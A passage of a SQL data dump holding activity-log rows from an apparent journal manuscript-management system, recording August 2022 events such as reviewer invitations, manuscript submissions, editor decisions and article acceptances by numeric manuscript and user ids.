15:22:00','Publisher has Invited Reviewer',12884,'Publisher',376),(120341,'2022-08-16 15:22:05','Publisher has Invited Reviewer',12884,'Publisher',376),(120342,'2022-08-16 15:22:10','Publisher has Invited Reviewer',12884,'Publisher',376),(120343,'2022-08-16 15:25:11','Publisher has Invited Reviewer',12918,'Publisher',988),(120344,'2022-08-16 15:25:15','Publisher has Invited Reviewer',12918,'Publisher',988),(120345,'2022-08-16 15:25:20','Publisher has Invited Reviewer',12918,'Publisher',988),(120346,'2022-08-16 15:25:25','Publisher has Invited Reviewer',12918,'Publisher',988),(120347,'2022-08-16 15:25:29','Publisher has Invited Reviewer',12918,'Publisher',988),(120348,'2022-08-16 15:25:34','Publisher has Invited Reviewer',12918,'Publisher',988),(120349,'2022-08-16 15:25:39','Publisher has Invited Reviewer',12918,'Publisher',988),(120350,'2022-08-16 15:25:40','Editor has Accepted to review Manuscript',12884,'Editor',1705),(120351,'2022-08-16 15:25:44','Publisher has Invited Reviewer',12918,'Publisher',988),(120352,'2022-08-16 15:25:49','Publisher has Invited Reviewer',12918,'Publisher',988),(120353,'2022-08-16 15:25:54','Editor has been Editor Decision Accepted article',12884,'Editor',1705),(120354,'2022-08-16 15:26:45','Publisher has been Accepted Articles  article',12884,'Publisher',376),(120355,'2022-08-16 15:33:02','Reviewer has submitted comments',12907,'Reviewer',18830),(120356,'2022-08-16 17:47:30','Publisher has been Assigned Editor',12923,'Publisher',48),(120357,'2022-08-16 17:52:08','Reviewer has submitted comments',12848,'Reviewer',21393),(120358,'2022-08-17 09:31:18','Publisher has been Assigned Editor',12910,'Publisher',248),(120359,'2022-08-17 10:26:38','Publisher has been Assigned Editor',12914,'Publisher',1033),(120360,'2022-08-17 10:27:19','Publisher has been Assigned Editor',12913,'Publisher',1033),(120361,'2022-08-17 10:28:02','Publisher has been Assigned Editor',12904,'Publisher',1033),(120362,'2022-08-17 10:33:31','Publisher has Invited Reviewer',12914,'Publisher',1033),(120363,'2022-08-17 10:33:36','Publisher has Invited Reviewer',12914,'Publisher',1033),(120364,'2022-08-17 10:34:15','Publisher has Invited Reviewer',12913,'Publisher',1033),(120365,'2022-08-17 10:34:19','Publisher has Invited Reviewer',12913,'Publisher',1033),(120366,'2022-08-17 10:34:57','Publisher has Invited Reviewer',12904,'Publisher',1033),(120367,'2022-08-17 10:35:02','Publisher has Invited Reviewer',12904,'Publisher',1033),(120368,'2022-08-17 10:39:35','Manuscript Updated',12914,'Publisher',1033),(120369,'2022-08-17 10:41:11','Manuscript Updated',12914,'Publisher',1033),(120370,'2022-08-17 10:44:12','Manuscript Submitted by Author using Submission form',12927,'Author',13148),(120371,'2022-08-17 10:45:17','Publisher has Invited Reviewer',12916,'Publisher',972),(120372,'2022-08-17 10:55:34','Publisher has Invited Reviewer',12895,'Publisher',984),(120373,'2022-08-17 10:55:39','Publisher has Invited Reviewer',12895,'Publisher',984),(120374,'2022-08-17 10:55:44','Publisher has Invited Reviewer',12895,'Publisher',984),(120375,'2022-08-17 10:55:49','Publisher has Invited Reviewer',12895,'Publisher',984),(120376,'2022-08-17 10:55:54','Publisher has Invited Reviewer',12895,'Publisher',984),(120377,'2022-08-17 10:55:59','Publisher has Invited Reviewer',12895,'Publisher',984),(120378,'2022-08-17 10:56:04','Publisher has Invited Reviewer',12895,'Publisher',984),(120379,'2022-08-17 10:56:09','Publisher has Invited Reviewer',12895,'Publisher',984),(120380,'2022-08-17 10:56:14','Publisher has Invited Reviewer',12895,'Publisher',984),(120381,'2022-08-17 10:56:18','Publisher has Invited Reviewer',12895,'Publisher',984),(120382,'2022-08-17 10:56:23','Publisher has Invited Reviewer',12895,'Publisher',984),(120383,'2022-08-17 10:56:28','Publisher has Invited Reviewer',12895,'Publisher',984),(120384,'2022-08-17 10:56:33','Publisher has Invited Reviewer',12895,'Publisher',984),(120385,'2022-08-17 10:59:07','Publisher has Invited Reviewer',12895,'Publisher',984),(120386,'2022-08-17 10:59:12','Publisher has Invited Reviewer',12895,'Publisher',984),(120387,'2022-08-17 10:59:17','Publisher has Invited Reviewer',12895,'Publisher',984),(120388,'2022-08-17 10:59:22','Publisher has Invited Reviewer',12895,'Publisher',984),(120389,'2022-08-17 10:59:53','Publisher has Invited Reviewer',12895,'Publisher',984),(120390,'2022-08-17 10:59:58','Publisher has Invited Reviewer',12895,'Publisher',984),(120391,'2022-08-17 11:00:54','Publisher has Invited Reviewer',12895,'Publisher',984),(120392,'2022-08-17 11:17:58','Manuscript Submitted by Author using Submission form',12928,'Author',13149),(120393,'2022-08-17 11:33:58','Reviewer has submitted comments',12836,'Reviewer',12531),(120394,'2022-08-17 11:34:04','Reviewer has submitted comments',12836,'Reviewer',12531),(120395,'2022-08-17 11:35:01','Editor has Accepted to review Manuscript',12836,'Editor',190),(120396,'2022-08-17 11:35:12','Editor has been Editor Decision Accepted article',12836,'Editor',190),(120397,'2022-08-17 11:36:14','Manuscript Submitted by Author using Submission form',12929,'Author',13150),(120398,'2022-08-17 12:11:19','Publisher has been Accepted Articles  article',12836,'Publisher',48),(120399,'2022-08-17 12:28:19','Manuscript Submitted by Author using Submission form',12930,'Author',13151),(120400,'2022-08-17 14:22:52','Manuscript Submitted by Publisher',12932,'Publisher',376),(120401,'2022-08-17 15:26:18','Manuscript Submitted by Publisher',12933,'Publisher',376),(120402,'2022-08-18 00:20:02','Manuscript Submitted by Author using Submission form',12934,'Author',13154),(120403,'2022-08-18 11:01:39','Publisher has been Assigned Editor',12924,'Publisher',988),(120404,'2022-08-18 11:01:55','Publisher has been Assigned Editor',12926,'Publisher',988),(120405,'2022-08-18 11:02:23','Publisher has Invited Reviewer',12926,'Publisher',988),(120406,'2022-08-18 11:02:28','Publisher has Invited Reviewer',12926,'Publisher',988),(120407,'2022-08-18 11:02:33','Publisher has Invited Reviewer',12926,'Publisher',988),(120408,'2022-08-18 11:02:38','Publisher has Invited Reviewer',12926,'Publisher',988),(120409,'2022-08-18 11:02:43','Publisher has Invited Reviewer',12926,'Publisher',988),(120410,'2022-08-18 11:02:48','Publisher has Invited Reviewer',12926,'Publisher',988),(120411,'2022-08-18 11:05:23','Publisher has Invited Reviewer',12924,'Publisher',988),(120412,'2022-08-18 11:05:27','Publisher has Invited Reviewer',12924,'Publisher',988),(120413,'2022-08-18 11:05:32','Publisher has Invited Reviewer',12924,'Publisher',988),(120414,'2022-08-18 11:05:37','Publisher has Invited Reviewer',12924,'Publisher',988),(120415,'2022-08-18 11:05:42','Publisher has Invited Reviewer',12924,'Publisher',988),(120416,'2022-08-18 11:05:47','Publisher has Invited Reviewer',12924,'Publisher',988),(120417,'2022-08-18 11:58:20','Reviewer has submitted comments',12697,'Reviewer',18594),(120418,'2022-08-18 11:59:13','Editor has been Editor Decision Accepted article',12697,'Editor',195),(120419,'2022-08-18 12:03:24','Publisher has been Assigned Editor',12922,'Publisher',972),(120420,'2022-08-18 12:03:55','Publisher has Invited Reviewer',12922,'Publisher',972),(120421,'2022-08-18 12:04:00','Publisher has Invited Reviewer',12922,'Publisher',972),(120422,'2022-08-18 13:11:25','Editor has Accepted to review Manuscript',12922,'Editor',1785),(120423,'2022-08-18 13:11:26','Editor has Accepted to review Manuscript',12922,'Editor',1785),(120424,'2022-08-18 13:11:39','Editor has been Editor Decision Accepted article',12922,'Editor',1785),(120425,'2022-08-18 13:13:12','Editor has Accepted to review Manuscript',12921,'Editor',1784),(120426,'2022-08-18 13:13:30','Editor has been Editor Decision Accepted article',12921,'Editor',1784),(120427,'2022-08-18 13:15:39','Editor has Accepted to review Manuscript',12920,'Editor',1324),(120428,'2022-08-18 13:15:51','Editor has been Editor Decision Accepted article',12920,'Editor',1324),(120429,'2022-08-18 13:16:51','Editor has Accepted to review Manuscript',12917,'Editor',1310),(120430,'2022-08-18 13:17:02','Editor has been Editor Decision Accepted article',12917,'Editor',1310),(120431,'2022-08-18 13:18:03','Editor has Accepted to review Manuscript',12916,'Editor',1367),(120432,'2022-08-18 13:18:15','Editor has been Editor Decision Accepted article',12916,'Editor',1367),(120433,'2022-08-18 13:18:58','Publisher has Invited Reviewer',12923,'Publisher',48),(120434,'2022-08-18 13:19:03','Publisher has Invited Reviewer',12923,'Publisher',48),(120435,'2022-08-18 13:19:08','Publisher has Invited Reviewer',12923,'Publisher',48),(120436,'2022-08-18 13:19:10','Manuscript Updated',12922,'Publisher',972),(120437,'2022-08-18 13:19:13','Publisher has Invited Reviewer',12923,'Publisher',48),(120438,'2022-08-18 13:19:17','Publisher has Invited Reviewer',12923,'Publisher',48),(120439,'2022-08-18 13:19:22','Publisher has Invited Reviewer',12923,'Publisher',48),(120440,'2022-08-18 13:19:24','Manuscript Updated',12921,'Publisher',972),(120441,'2022-08-18 13:19:43','Manuscript Updated',12920,'Publisher',972),(120442,'2022-08-18 13:19:57','Manuscript Updated',12917,'Publisher',972),(120443,'2022-08-18 13:32:36','Publisher has Invited Reviewer',12912,'Publisher',48),(120444,'2022-08-18 13:32:41','Publisher has Invited Reviewer',12912,'Publisher',48),(120445,'2022-08-18 13:32:46','Publisher has Invited Reviewer',12912,'Publisher',48),(120446,'2022-08-18 13:32:51','Publisher has Invited Reviewer',12912,'Publisher',48),(120447,'2022-08-18 13:32:55','Publisher has Invited Reviewer',12912,'Publisher',48),(120448,'2022-08-18 13:47:50','Publisher has been Accepted Articles  article',12697,'Publisher',48),(120449,'2022-08-18 13:54:52','Publisher has been Accepted Articles  article',12922,'Publisher',972),(120450,'2022-08-18 13:55:38','Publisher has been Accepted Articles  article',12921,'Publisher',972),(120451,'2022-08-18 13:56:16','Publisher has been Accepted Articles  article',12920,'Publisher',972),(120452,'2022-08-18 13:56:44','Publisher has been Accepted Articles  article',12917,'Publisher',972),(120453,'2022-08-18 13:57:13','Publisher has been Accepted Articles  article',12916,'Publisher',972),(120454,'2022-08-18 14:25:28','Manuscript Submitted by Author using Submission form',12935,'Author',13155),(120455,'2022-08-18 14:26:18','Reviewer has submitted comments',12911,'Reviewer',17408),(120456,'2022-08-18 14:43:46','Reviewer has submitted comments',12918,'Reviewer',17407),(120457,'2022-08-18 14:43:51','Reviewer has submitted comments',12918,'Reviewer',17407),(120458,'2022-08-18 14:44:51','Publisher : Notified Editor',12918,'Publisher',988),(120459,'2022-08-18 14:46:16','Publisher : Notified Editor',12907,'Publisher',988),(120460,'2022-08-18 14:46:52','Publisher : Notified Editor',12911,'Publisher',988),(120461,'2022-08-18 14:47:43','Editor has Accepted to review Manuscript',12911,'Editor',1779),(120462,'2022-08-18 14:47:57','Editor has been Editor Decision Accepted article',12911,'Editor',1779),(120463,'2022-08-18 14:48:07','Editor has Accepted to review Manuscript',12907,'Editor',1779),(120464,'2022-08-18 14:48:22','Editor has been Editor Decision Accepted article',12907,'Editor',1779),(120465,'2022-08-18 14:49:13','Editor has Accepted to review Manuscript',12918,'Editor',1783),(120466,'2022-08-18 14:49:33','Editor has been Editor Decision Accepted article',12918,'Editor',1783),(120467,'2022-08-18 14:50:15','Manuscript Submitted by Publisher',12936,'Publisher',376),(120468,'2022-08-18 14:50:31','Publisher: Accept Notification has been sent to Author',12907,'Publisher',988),(120469,'2022-08-18 14:50:57','Publisher: Accept Notification has been sent to Author',12911,'Publisher',988),(120470,'2022-08-18 14:51:17','Publisher: Accept Notification has been sent to Author',12918,'Publisher',988),(120471,'2022-08-18 14:53:43','Manuscript Submitted by Author using Submission form',12937,'Author',13157),(120472,'2022-08-18 15:35:21','Manuscript Submitted by Publisher',12938,'Publisher',376),(120473,'2022-08-18 17:30:08','Manuscript Submitted by Publisher',12939,'Publisher',984),(120474,'2022-08-18 17:32:25','Publisher has been Assigned Editor',12906,'Publisher',319),(120475,'2022-08-18 17:32:40','Publisher has been Assigned Editor',12929,'Publisher',319),(120476,'2022-08-18 17:49:12','Manuscript Submitted by Publisher',12940,'Publisher',984),(120477,'2022-08-18 17:57:25','Manuscript Submitted by Publisher',12941,'Publisher',376),(120478,'2022-08-18 17:59:39','Editor has Accepted to review Manuscript',11479,'Editor',1670),(120479,'2022-08-18 17:59:52','Editor has been Editor Decision Accepted article',11479,'Editor',1670),(120480,'2022-08-18 18:01:54','Publisher has been Accepted Articles  article',11479,'Publisher',274),(120481,'2022-08-18 18:02:39','Manuscript Submitted by Publisher',12942,'Publisher',984),(120482,'2022-08-18 18:03:25','Editor has Accepted to review Manuscript',12717,'Editor',1667),(120483,'2022-08-18 18:03:38','Editor has been Editor Decision Accepted article',12717,'Editor',1667),(120484,'2022-08-18 18:11:25','Manuscript Submitted by Publisher',12943,'Publisher',673),(120485,'2022-08-18 18:14:39','Editor has Accepted to review Manuscript',12825,'Editor',1661),(120486,'2022-08-18 18:14:51','Editor has been Editor Decision Accepted article',12825,'Editor',1661),(120487,'2022-08-18 18:16:15','Publisher has been Accepted Articles  article',12825,'Publisher',274),(120488,'2022-08-19 09:17:33','Publisher has been Assigned Editor',12925,'Publisher',248),(120489,'2022-08-19 09:17:53','Publisher has been Assigned Editor',12930,'Publisher',248),(120490,'2022-08-19 12:08:13','Manuscript Submitted by Author using Submission form',12944,'Author',13161),(120491,'2022-08-19 12:26:20','Manuscript Updated',12906,'Publisher',319),(120492,'2022-08-19 12:26:46','Publisher has been Accepted Articles  article',12906,'Publisher',319),(120493,'2022-08-19 12:26:48','Publisher has been Accepted Articles  article',12906,'Publisher',319),(120494,'2022-08-19 12:41:28','Manuscript Updated',12929,'Publisher',319),(120495,'2022-08-19 12:41:49','Publisher has been Accepted Articles  article',12929,'Publisher',319),(120496,'2022-08-19 13:03:39','Publisher : Notified Editor',12822,'Publisher',85),(120497,'2022-08-19 13:04:26','Editor has Accepted to review Manuscript',12901,'Editor',1675),(120498,'2022-08-19 13:04:37','Editor has been Editor Decision Accepted article',12901,'Editor',1675),(120499,'2022-08-19 13:04:59','Editor has Accepted to review Manuscript',12725,'Editor',1675),(120500,'2022-08-19 13:05:21','Editor has been Editor Decision Accepted article',12725,'Editor',1675),(120501,'2022-08-19 13:05:34','Editor has Accepted to review Manuscript',12822,'Editor',1675),(120502,'2022-08-19 13:05:43','Editor has been Editor Decision Accepted article',12822,'Editor',1675),(120503,'2022-08-19 13:07:07','Publisher has been Withdrawn  article',12694,'Publisher',85),(120504,'2022-08-19 13:09:30','Publisher: Accept Notification has been sent to Author',12901,'Publisher',85),(120505,'2022-08-19 13:10:22','Publisher: Accept Notification has been sent to Author',12822,'Publisher',85),(120506,'2022-08-19 13:11:16','Publisher: Accept Notification has been sent to Author',12725,'Publisher',85),(120507,'2022-08-19 13:15:27','Publisher has been Accepted Articles  article',12882,'Publisher',673),(120508,'2022-08-19 13:16:07','Publisher has been Accepted Articles  article',12881,'Publisher',673),(120509,'2022-08-19 13:17:02','Publisher has been Accepted Articles  article',12880,'Publisher',673),(120510,'2022-08-19 13:18:05','Publisher has been Accepted Articles  article',12880,'Publisher',673),(120511,'2022-08-19 13:18:45','Publisher has been Accepted Articles  article',12879,'Publisher',673),(120512,'2022-08-19 13:21:42','Manuscript Submitted by Publisher',12945,'Publisher',376),(120513,'2022-08-19 13:26:07','Manuscript Updated',12878,'Publisher',673),(120514,'2022-08-19 13:27:56','Publisher has Invited Reviewer',12861,'Publisher',75),(120515,'2022-08-19 13:28:01','Publisher has Invited Reviewer',12861,'Publisher',75),(120516,'2022-08-19 13:28:05','Publisher has Invited Reviewer',12861,'Publisher',75),(120517,'2022-08-19 13:28:10','Publisher has Invited Reviewer',12861,'Publisher',75),(120518,'2022-08-19 13:28:15','Publisher has Invited Reviewer',12861,'Publisher',75),(120519,'2022-08-19 13:28:19','Publisher has Invited Reviewer',12861,'Publisher',75),(120520,'2022-08-19 13:29:58','Publisher has Invited Reviewer',12856,'Publisher',75),(120521,'2022-08-19 13:30:03','Publisher has Invited Reviewer',12856,'Publisher',75),(120522,'2022-08-19 13:30:08','Publisher has Invited Reviewer',12856,'Publisher',75),(120523,'2022-08-19 13:30:13','Publisher has Invited Reviewer',12856,'Publisher',75),(120524,'2022-08-19 13:30:18','Publisher has Invited Reviewer',12856,'Publisher',75),(120525,'2022-08-19 14:05:53','Manuscript Submitted by Publisher',12946,'Publisher',85),(120526,'2022-08-19 14:06:43','Manuscript Submitted by Author using Submission form',12947,'Author',13163),(120527,'2022-08-19 14:06:54','Manuscript Submitted by Publisher',12948,'Publisher',85),(120528,'2022-08-19 14:07:41','Manuscript Submitted by Publisher',12949,'Publisher',85),(120529,'2022-08-19 14:08:52','Manuscript Submitted by Publisher',12950,'Publisher',85),(120530,'2022-08-19 14:09:49','Manuscript Submitted by Publisher',12951,'Publisher',85),(120531,'2022-08-19 14:47:12','Manuscript Submitted by Author using Submission form',12952,'Author',13164),(120532,'2022-08-19 15:02:34','Editor has been Editor Decision Accepted article',12848,'Editor',193),(120533,'2022-08-19 15:14:05','Publisher has been Accepted Articles  article',12848,'Publisher',48),(120534,'2022-08-19 15:20:40','Manuscript Submitted by Author using Submission form',12953,'Author',13165),(120535,'2022-08-19 15:46:46','Editor has been Editor Decision Accepted article',10059,'Editor',1668),(120536,'2022-08-19 15:47:43','Publisher has been Accepted Articles  article',10059,'Publisher',274),(120537,'2022-08-19 16:32:01','Manuscript Submitted by Author using Submission form',12954,'Author',13166),(120538,'2022-08-19 16:42:36','Editor has Accepted to review Manuscript',12760,'Editor',1668),(120539,'2022-08-19 16:42:48','Editor has Accepted to review Manuscript',12851,'Editor',1668),(120540,'2022-08-19 16:43:02','Editor has been Editor Decision Accepted article',12851,'Editor',1668),(120541,'2022-08-19 16:43:13','Editor has been Editor Decision Accepted article',12760,'Editor',1668),(120542,'2022-08-19 16:44:59','Publisher has been Accepted Articles  article',12760,'Publisher',274),(120543,'2022-08-19 16:45:29','Publisher has been Accepted Articles  article',12851,'Publisher',274),(120544,'2022-08-19 16:46:56','Editor has Accepted to review Manuscript',12779,'Editor',1667),(120545,'2022-08-19 16:47:02','Editor has Accepted to review Manuscript',12830,'Editor',1667),(120546,'2022-08-19 16:47:13','Editor has been Editor Decision Accepted article',12779,'Editor',1667),(120547,'2022-08-19 16:47:27','Editor has been Editor Decision Accepted article',12830,'Editor',1667),(120548,'2022-08-19 16:48:02','Publisher has been Accepted Articles  article',12779,'Publisher',274),(120549,'2022-08-19 16:50:28','Publisher has been Accepted Articles  article',12830,'Publisher',274),(120550,'2022-08-19 16:51:20','Editor has Accepted to review Manuscript',12820,'Editor',1594),(120551,'2022-08-19 16:51:31','Editor has been Editor Decision Accepted article',12820,'Editor',1594),(120552,'2022-08-19 16:52:03','Publisher has been Accepted Articles  article',12820,'Publisher',274),(120553,'2022-08-19 16:58:59','Author sent Email',12905,'Author',13127),(120554,'2022-08-19 17:03:41','Manuscript Submitted by Publisher',12955,'Publisher',376),(120555,'2022-08-19 17:16:36','Manuscript Updated',12930,'Publisher',248),(120556,'2022-08-19 17:17:07','Publisher has been Accepted Articles  article',12930,'Publisher',248),(120557,'2022-08-19 17:19:00','Publisher has been Withdrawn  article',12721,'Publisher',274),(120558,'2022-08-19 17:24:22','Editor has been Editor Decision Rejected article',12743,'Editor',1661),(120559,'2022-08-19 17:26:05','Publisher has been Rejected Articles  article',12743,'Publisher',274),(120560,'2022-08-19 17:51:35','Publisher has been Rejected Articles  article',12717,'Publisher',274),(120561,'2022-08-19 18:30:50','Reviewer has submitted comments',12923,'Reviewer',21494),(120562,'2022-08-20 09:38:16','Publisher has been Assigned Editor',12951,'Publisher',85),(120563,'2022-08-20 09:38:33','Publisher has been Assigned Editor',12950,'Publisher',85),(120564,'2022-08-20 09:38:48','Publisher has been Assigned Editor',12949,'Publisher',85),(120565,'2022-08-20 09:39:04','Publisher has been Assigned Editor',12948,'Publisher',85),(120566,'2022-08-20 09:39:19','Publisher has been Assigned Editor',12946,'Publisher',85),(120567,'2022-08-20 09:39:46','Manuscript Updated',12951,'Publisher',85),(120568,'2022-08-20 09:44:43','Publisher has been Accepted Articles  article',12946,'Publisher',85),(120569,'2022-08-20 09:48:08','Publisher has been Accepted Articles  article',12948,'Publisher',85),(120570,'2022-08-20 09:59:36','Publisher has been Accepted Articles  article',12949,'Publisher',85),(120571,'2022-08-20 10:04:02','Publisher has been Accepted Articles  article',12950,'Publisher',85),(120572,'2022-08-20 10:06:28','Publisher has been Accepted Articles  article',12951,'Publisher',85),(120573,'2022-08-20 11:08:17','Publisher has been Assigned Editor',12932,'Publisher',376),(120574,'2022-08-20 11:08:46','Publisher has been Assigned Editor',12938,'Publisher',376),(120575,'2022-08-20 11:09:07','Publisher has been Assigned Editor',12936,'Publisher',376),(120576,'2022-08-20 11:10:47','Editor has Accepted to review Manuscript',12938,'Editor',1245),(120577,'2022-08-20 11:10:52','Publisher has been Assigned Editor',12935,'Publisher',319),(120578,'2022-08-20 11:10:58','Editor has been Editor Decision Accepted article',12938,'Editor',1245),(120579,'2022-08-20 11:11:14','Editor has Accepted to review Manuscript',12936,'Editor',1245),(120580,'2022-08-20 11:11:24','Editor has been Editor Decision Accepted article',12936,'Editor',1245),(120581,'2022-08-20 11:19:50','Editor has Accepted to review Manuscript',12932,'Editor',1452),(120582,'2022-08-20 11:21:26','Editor has been Editor Decision Accepted article',12932,'Editor',1452),(120583,'2022-08-20 11:22:27','Publisher has been Assigned Editor',12955,'Publisher',376),(120584,'2022-08-20 11:22:46','Publisher has been Assigned Editor',12933,'Publisher',376),(120585,'2022-08-20 11:23:51','Editor has Accepted to review Manuscript',12955,'Editor',1452),(120586,'2022-08-20 11:24:08','Editor has been Editor Decision Accepted article',12955,'Editor',1452),(120587,'2022-08-20 11:25:13','Editor has Accepted to review Manuscript',12933,'Editor',1245),(120588,'2022-08-20 11:25:32','Editor has been Editor Decision Accepted article',12933,'Editor',1245),(120589,'2022-08-20 12:26:53','Manuscript Submitted by Publisher',12956,'Publisher',376),(120590,'2022-08-20 12:59:37','Manuscript Updated',12878,'Publisher',673),(120591,'2022-08-20 13:07:27','Manuscript Submitted by Publisher',12957,'Publisher',673),(120592,'2022-08-20 16:21:07','Manuscript Submitted by Author using Submission form',12958,'Author',13168),(120593,'2022-08-21 11:39:38','Manuscript Submitted by Author',12959,'Author',13070),(120594,'2022-08-21 16:20:51','Manuscript Submitted by Author',12960,'Author',13169),(120595,'2022-08-22 10:49:44','Publisher has been Accepted Articles  article',12907,'Publisher',988),(120596,'2022-08-22 10:50:35','Manuscript Updated',12918,'Publisher',988),(120597,'2022-08-22 10:51:01','Publisher has been Accepted Articles  article',12918,'Publisher',988),(120598,'2022-08-22 10:51:26','Manuscript Updated',12911,'Publisher',988),(120599,'2022-08-22 10:53:20','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120600,'2022-08-22 10:53:24','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120601,'2022-08-22 10:53:26','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120602,'2022-08-22 10:53:29','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120603,'2022-08-22 10:53:31','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120604,'2022-08-22 10:53:33','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120605,'2022-08-22 10:53:36','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120606,'2022-08-22 10:53:39','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120607,'2022-08-22 10:53:43','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120608,'2022-08-22 10:53:57','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120609,'2022-08-22 10:53:59','Publisher has been Accepted Articles  article',12911,'Publisher',988),(120610,'2022-08-22 11:46:19','Manuscript Submitted by Author using Submission form',12961,'Author',13170),(120611,'2022-08-22 11:56:49','Manuscript Submitted by Author using Submission form',12962,'Author',13171),(120612,'2022-08-22 13:59:39','Manuscript Updated',12932,'Publisher',376),(120613,'2022-08-22 14:02:16','Publisher has been Accepted Articles  article',12932,'Publisher',376),(120614,'2022-08-22 14:02:36','Manuscript Updated',12933,'Publisher',376),(120615,'2022-08-22 14:03:44','Publisher has been Accepted Articles  article',12933,'Publisher',376),(120616,'2022-08-22 14:04:33','Manuscript Updated',12936,'Publisher',376),(120617,'2022-08-22 14:04:55','Publisher has been Accepted Articles  article',12936,'Publisher',376),(120618,'2022-08-22 14:05:41','Manuscript Updated',12938,'Publisher',376),(120619,'2022-08-22 14:06:02','Publisher has been Accepted Articles  article',12938,'Publisher',376),(120620,'2022-08-22 14:06:30','Manuscript Updated',12955,'Publisher',376),(120621,'2022-08-22 14:06:48','Publisher has been Accepted Articles  article',12955,'Publisher',376),(120622,'2022-08-22 14:42:47','Editor has been Editor Decision Accepted article',12570,'Editor',1393),(120623,'2022-08-22 14:45:54','Publisher: Accept Notification has been sent to Author',12570,'Publisher',85),(120624,'2022-08-22 19:13:29','Manuscript Submitted by Author using Submission form',12964,'Author',13173),(120625,'2022-08-23 10:05:05','Reviewer has submitted comments',12919,'Reviewer',20788),(120626,'2022-08-23 10:05:52','Publisher : Notified Editor',12919,'Publisher',988),(120627,'2022-08-23 10:06:41','Editor has Accepted to review Manuscript',12919,'Editor',1779),(120628,'2022-08-23 10:06:53','Editor has been Editor Decision Accepted article',12919,'Editor',1779),(120629,'2022-08-23 10:07:43','Publisher: Accept Notification has been sent to Author',12919,'Publisher',988),(120630,'2022-08-23 10:46:53','Manuscript Updated',12935,'Publisher',319),(120631,'2022-08-23 10:47:20','Publisher has been Accepted Articles  article',12935,'Publisher',319),(120632,'2022-08-23 13:04:51','Publisher has been Assigned Editor',12956,'Publisher',376),(120633,'2022-08-23 13:06:56','Editor has Accepted to review Manuscript',12956,'Editor',1012),(120634,'2022-08-23 13:07:08','Editor has been Editor Decision Accepted article',12956,'Editor',1012),(120635,'2022-08-23 13:07:41','Manuscript Updated',12956,'Publisher',376),(120636,'2022-08-23 13:09:22','Publisher has been Accepted Articles  article',12956,'Publisher',376),(120637,'2022-08-23 13:10:09','Publisher has Invited Reviewer',12956,'Publisher',376),(120638,'2022-08-23 13:10:13','Publisher has Invited Reviewer',12956,'Publisher',376),(120639,'2022-08-23 13:10:18','Publisher has Invited Reviewer',12956,'Publisher',376),(120640,'2022-08-23 13:10:23','Publisher has Invited Reviewer',12956,'Publisher',376),(120641,'2022-08-23 13:10:27','Publisher has Invited Reviewer',12956,'Publisher',376),(120642,'2022-08-23 13:10:32','Publisher has Invited Reviewer',12956,'Publisher',376),(120643,'2022-08-23 13:28:26','Publisher has been Assigned Editor',12958,'Publisher',48),(120644,'2022-08-23 13:41:47','Manuscript Submitted by Publisher',12966,'Publisher',673),(120645,'2022-08-23 13:46:40','Manuscript Submitted by Author using Submission form',12967,'Author',13177),(120646,'2022-08-23 13:47:51','Manuscript Submitted by Publisher',12968,'Publisher',673),(120647,'2022-08-23 13:48:24','Manuscript Submitted by Author using Submission form',12969,'Author',13178),(120648,'2022-08-23 13:48:48','Reviewer has submitted comments',12759,'Reviewer',10976),(120649,'2022-08-23 13:49:22','Editor has Accepted to review Manuscript',12759,'Editor',194),(120650,'2022-08-23 13:49:37','Editor has been Editor Decision Accepted article',12759,'Editor',194),(120651,'2022-08-23 13:51:20','Publisher has been Accepted Articles  article',12759,'Publisher',48),(120652,'2022-08-23 13:51:57','Manuscript Submitted by Publisher',12970,'Publisher',673),(120653,'2022-08-23 14:11:43','Manuscript Submitted by Publisher',12971,'Publisher',673),(120654,'2022-08-23 15:03:35','Manuscript Submitted by Author using Submission form',12972,'Author',13181),(120655,'2022-08-23 15:08:22','Publisher has been Assigned Editor',12941,'Publisher',376),(120656,'2022-08-23 15:09:34','Editor has Accepted to review Manuscript',12941,'Editor',1012),(120657,'2022-08-23 15:09:51','Editor has been Editor Decision Accepted article',12941,'Editor',1012),(120658,'2022-08-23 15:10:35','Manuscript Updated',12941,'Publisher',376),(120659,'2022-08-23 15:13:49','Publisher has been Accepted Articles  article',12941,'Publisher',376),(120660,'2022-08-23 15:14:47','Publisher has Invited Reviewer',12955,'Publisher',376),(120661,'2022-08-23 15:14:52','Publisher has Invited Reviewer',12955,'Publisher',376),(120662,'2022-08-23 15:14:57','Publisher has Invited Reviewer',12955,'Publisher',376),(120663,'2022-08-23 15:15:02','Publisher has Invited Reviewer',12955,'Publisher',376),(120664,'2022-08-23 15:15:07','Publisher has Invited Reviewer',12955,'Publisher',376),(120665,'2022-08-23 15:15:11','Publisher has Invited Reviewer',12955,'Publisher',376),(120666,'2022-08-23 15:22:31','Manuscript Submitted by Author using Submission form',12973,'Author',13182),(120667,'2022-08-23 15:27:01','Manuscript Submitted by Author using Submission form',12974,'Author',13183),(120668,'2022-08-23 15:36:00','Manuscript Submitted by Author using Submission form',12975,'Author',13184),(120669,'2022-08-23 15:49:56','Manuscript Submitted by Author using Submission form',12976,'Author',13188),(120670,'2022-08-23 15:50:47','Publisher has been Assigned Editor',12954,'Publisher',972),(120671,'2022-08-23 15:51:10','Publisher has been Assigned Editor',12953,'Publisher',972),(120672,'2022-08-23 15:51:32','Publisher has been Assigned Editor',12947,'Publisher',972),(120673,'2022-08-23 15:54:09','Publisher has been Assigned Editor',12944,'Publisher',972),(120674,'2022-08-23 15:55:03','Publisher has Invited Reviewer',12954,'Publisher',972),(120675,'2022-08-23 15:55:08','Publisher has Invited Reviewer',12954,'Publisher',972),(120676,'2022-08-23 15:55:39','Publisher has Invited Reviewer',12953,'Publisher',972),(120677,'2022-08-23 15:55:44','Publisher has Invited Reviewer',12953,'Publisher',972),(120678,'2022-08-23 15:56:13','Publisher has Invited Reviewer',12947,'Publisher',972),(120679,'2022-08-23 15:56:18','Publisher has Invited Reviewer',12947,'Publisher',972),(120680,'2022-08-23 15:56:40','Publisher has Invited Reviewer',12947,'Publisher',972),(120681,'2022-08-23 15:57:05','Publisher has Invited Reviewer',12944,'Publisher',972),(120682,'2022-08-23 15:57:10','Publisher 